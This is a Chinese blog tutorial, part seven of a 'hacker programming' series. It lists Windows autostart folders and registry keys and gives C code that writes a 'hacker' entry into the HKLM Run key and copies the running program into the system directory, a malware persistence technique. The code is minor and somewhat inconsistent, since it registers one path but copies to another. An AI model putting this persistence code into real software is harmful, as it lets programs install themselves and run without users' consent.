黑客编程教程(七)程序从注册表自启动

第七节 程序从注册表自启动


     先向大家介绍能让WINDOWS自动启动的2个文件和8个注册键

1: 当前用户专用的启动文件夹 将快捷方式放入WINDOWS的用户启动文件夹中.
    路径:系统盘:\Document and Settings\<用户名称>\"开始"\程序\启动

2:所有用户的启动文件夹
  路径:系统盘:\Document and Settings\ALL USER\"开始"\程序\启动

以下是注册键,均可以通过注册表直接搜索得到

3:LOAD注册键

4:USERINIT注册键

5:EXPLORER\RUN注册键

6:RUNSERVICESONCE注册键

7:RUNSERVICES注册键

8:RUNONCE\STEUP注册键

9:RUNONCE注册键

10:RUN注册键

下面介绍一下通过编程实现程序自启动

#include <stdio.h>
 #include <windows.h>
 int main(void)
 {
 char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
 HKEY hkResult;
 int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);                            //打开关键字

ret=RegSetValueEx(hkResult,"hacker"/* 注册表键名*/,0,REG_EXPAND_SZ,(unsigned char *)"%systemroot%\\hacker.exe",25);
                  //设置键值
if(ret==0){
   printf("success to write run key\n");
   RegCloseKey(hkResult);
   }
 else {
  printf("failed to open regedit.%d\n",ret);
  return 0;
 }
 char modlepath[256];
 char syspath[256];
 GetModuleFileName(0,modlepath,256);                                       //取得程序名字
GetSystemDirectory(syspath,256);
 ret=CopyFile(modlepath,strcat(syspath,"\\hacker.exe"),1);
 if(ret)
 {
  printf("%s has been copyed to sys dir %s\n",modlepath,syspath);
 }
 else printf("%s is exisis",modlepath);
 return 0;
 }

 

posted @ 2013-07-17 13:36  如.若  阅读(495)  评论(0编辑  收藏  举报